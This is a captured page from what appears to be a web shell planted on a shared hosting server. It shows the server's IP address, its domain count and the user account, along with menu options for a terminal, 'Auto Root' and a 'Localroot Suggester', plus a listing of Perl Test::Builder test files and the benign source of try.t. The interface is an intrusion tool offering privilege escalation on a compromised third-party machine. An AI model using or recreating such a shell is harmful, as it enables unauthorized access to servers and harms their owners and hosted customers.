Linux server1.hosting4iran.com 4.18.0-553.123.2.el8_10.x86_64 #1 SMP Thu May 7 15:28:41 EDT 2026 x86_64
LiteSpeed
Server IP : 185.208.174.156 & Your IP : 216.73.217.150
Domains : 326 Domain
User : satitravel
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
doc /
perl-Test-Simple /
t /
Legacy /
Builder /
Delete
Unzip
Name
Size
Permission
Date
Action
Builder.t
655
B
-rw-r--r--
2018-03-30 05:53
carp.t
587
B
-rw-r--r--
2018-03-30 05:53
create.t
818
B
-rw-r--r--
2018-03-30 05:53
current_test.t
259
B
-rw-r--r--
2018-03-30 05:53
current_test_without_plan.t
233
B
-rw-r--r--
2018-03-30 05:53
details.t
3
KB
-rw-r--r--
2018-03-30 05:53
done_testing.t
235
B
-rw-r--r--
2018-03-30 05:53
done_testing_double.t
1002
B
-rw-r--r--
2018-03-30 05:53
done_testing_plan_mismatch.t
890
B
-rw-r--r--
2018-03-30 05:53
done_testing_with_no_plan.t
152
B
-rw-r--r--
2018-03-30 05:53
done_testing_with_number.t
236
B
-rw-r--r--
2018-03-30 05:53
done_testing_with_plan.t
153
B
-rw-r--r--
2018-03-30 05:53
fork_with_new_stdout.t
828
B
-rw-r--r--
2018-03-30 05:53
has_plan.t
366
B
-rw-r--r--
2018-03-30 05:53
has_plan2.t
355
B
-rw-r--r--
2018-03-30 05:53
is_fh.t
975
B
-rw-r--r--
2018-03-30 05:53
is_passing.t
2.23
KB
-rw-r--r--
2018-03-30 05:53
maybe_regex.t
1.28
KB
-rw-r--r--
2018-03-30 05:53
no_diag.t
310
B
-rw-r--r--
2018-03-30 05:53
no_ending.t
365
B
-rw-r--r--
2018-03-30 05:53
no_header.t
298
B
-rw-r--r--
2018-03-30 05:53
no_plan_at_all.t
722
B
-rw-r--r--
2018-03-30 05:53
ok_obj.t
462
B
-rw-r--r--
2018-03-30 05:53
output.t
1.95
KB
-rw-r--r--
2018-03-30 05:53
reset.t
2.02
KB
-rw-r--r--
2018-03-30 05:53
reset_outputs.t
784
B
-rw-r--r--
2018-03-30 05:53
try.t
747
B
-rw-r--r--
2018-03-30 05:53
Save
Rename
#!perl -w BEGIN { if( $ENV{PERL_CORE} ) { chdir 't'; @INC = ('../lib', 'lib'); } else { unshift @INC, 't/lib'; } } use strict; use Test::More 'no_plan'; require Test::Builder; my $tb = Test::Builder->new; # Test that _try() has no effect on $@ and $! and is not effected by # __DIE__ { local $SIG{__DIE__} = sub { fail("DIE handler called: @_") }; local $@ = 42; local $! = 23; is $tb->_try(sub { 2 }), 2; is $tb->_try(sub { return '' }), ''; is $tb->_try(sub { die; }), undef; is_deeply [$tb->_try(sub { die "Foo\n" })], [undef, "Foo\n"]; is $@, 42; cmp_ok $!, '==', 23; } ok !eval { $tb->_try(sub { die "Died\n" }, die_on_fail => 1); }; is $@, "Died\n";